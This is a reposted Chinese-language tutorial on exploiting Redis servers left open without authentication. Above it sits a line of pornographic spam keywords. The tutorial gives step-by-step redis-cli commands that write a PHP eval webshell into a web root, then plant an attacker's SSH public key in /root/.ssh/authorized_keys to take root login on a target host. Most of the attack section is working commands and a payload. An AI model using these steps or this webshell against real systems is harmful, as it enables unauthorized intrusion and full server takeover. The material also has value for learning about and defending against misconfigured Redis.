日韩av黄I国产麻豆传媒I国产91av视频在线观看I日韩一区二区三区在线看I美女国产在线I麻豆视频国产在线观看I成人黄色短片

歡迎訪問 生活随笔!

生活随笔

當前位置: 首頁 >

Redis未授权访问写Webshell和公私钥认证获取root权限

發布時間:2025/7/25 72 豆豆
生活随笔 收集整理的這篇文章主要介紹了 Redis未授权访问写Webshell和公私钥认证获取root权限 小編覺得挺不錯的,現在分享給大家,幫大家做個參考.

0x01?什么是Redis未授權訪問漏洞

Redis?默認情況下,會綁定在?0.0.0.0:6379,如果沒有進行采用相關的策略,比如添加防火墻規則避免其他非信任來源?ip?訪問等,這樣將會將?Redis?服務暴露到公網上,如果在沒有設置密碼認證(一般為空)的情況下,會導致任意用戶在可以訪問目標服務器的情況下未授權訪問?Redis?以及讀取?Redis?的數據。攻擊者在未授權訪問?Redis?的情況下,利用?Redis?自身的提供的config?命令,可以進行寫文件操作,攻擊者可以成功將自己的ssh公鑰寫入目標服務器的?/root/.ssh?文件夾的authotrized_keys?文件中,進而可以使用對應私鑰直接使用ssh服務登錄目標服務器。

簡單說,漏洞的產生條件有以下兩點:

(1)Redis綁定在?0.0.0.0:6379,且沒有進行添加防火墻規則避免其他非信任來源ip訪問等相關安全策略,直接暴露在公網;

(2)沒有設置密碼認證(一般為空),可以免密碼遠程登錄redis服務。

??漏洞的危害

(1)攻擊者無需認證訪問到內部數據,可能導致敏感信息泄露,黑客也可以惡意執行flushall來清空所有數據;

(2)攻擊者可通過EVAL執行lua代碼,或通過數據備份功能往磁盤寫入后門文件;

(3)最嚴重的情況,如果Redis以root身份運行,黑客可以給root賬戶寫入SSH公鑰文件,直接通過SSH登錄受害服務器

?

0x02?利用Redis寫Webshell

  • 利用前提:

  • l??靶機Redis鏈接未授權,在攻擊機上能用redis-cli連上,如上圖,并未登陸驗證
  • l??開了web服務器,并且知道路徑(如利用phpinfo,或者錯誤爆路經),還需要具有文件讀寫增刪改查權限(我們可以將dir設置為一個目錄a,而dbfilename為文件名b,再執行save或bgsave,則我們就可以寫入一個路徑為a/b的任意文件。)
  • 1.通過phpinfo頁面或者其他方法獲取Redis服務器網站的根目錄

    ?

    得到服務器網站的根目錄是:/var/www/html

    2.?通過redis-cli與Redis服務端進行連接,通過Redis未授權直接連接Redis服務端

    root@ubuntu:~# redis-cli -h 192.168.5.57

    ?

    ?利用前面我們已經得知的網站根目錄開始利用Redis寫Webshell(一句話木馬)

    config set dir /var/www/html

    config set dbfilename webshell.php
    set webshell "<?php echo @eval($_POST['x']); ?>"
    save

    連接shell

    ?

    ?0x02?利用"公私鑰"認證獲取root權限,ssh免密登陸目標服務器

    1、?在攻擊機(redis客戶端)中生成ssh公鑰和私鑰,密碼設置為空

    root@ubuntu:~# ssh-keygen -t rsa

    2、?進入/root/.ssh目錄:??cd /root/.ssh?,?講生成的公鑰保存到1.txt(名字隨意)

    root@ubuntu:~# cd /root/.ssh/ root@ubuntu:~/.ssh# (echo -e "\n\n"; cat id_rsa.pub; echo -e "\n\n") > 1.txt root@ubuntu:~/.ssh# ls -a . .. 1.txt id_rsa id_rsa.pub known_hosts

    3、?鏈接目標服務器上的Redis服務,將保存的公鑰1.txt寫入Redis(使用redis-cli -h ip命令連接靶機,將文件寫入)

    cat 1.txt | redis-cli -h 10.10.10.135 -x set crack

    4、?通過客戶端遠程登陸目標靶機的Redis服務,并使用?CONFIG GET dir?命令得到Redis備份的路徑

    redis-cli -h 10.10.10.135CONFIG GET dir

    5、?更改Redis備份路徑為ssh公鑰存放目錄(一般默認為/root/.ssh)

    config set dir /root/.ssh

    6、?設置上傳公鑰的備份文件名字為authorized_keys

    CONFIG SET dbfilename authorized_keys

    7、?檢查是否更改成功(查看有沒有authorized_keys文件),沒有問題就保存然后退出

    CONFIG GET dbfilenamesaveexit

    8、?在攻擊機上使用SSH免密登錄靶機

    ssh -i id_rsa root@x.x.xx

    ?

    ?

    最后成功root權限登陸目標系統

    ?

    ?

    ?

    ?

    ?

    ?

    ?

    轉載于:https://www.cnblogs.com/-qing-/p/10978912.html

    總結

    以上是生活随笔為你收集整理的Redis未授权访问写Webshell和公私钥认证获取root权限的全部內容,希望文章能夠幫你解決所遇到的問題。

    如果覺得生活随笔網站內容還不錯,歡迎將生活随笔推薦給好友。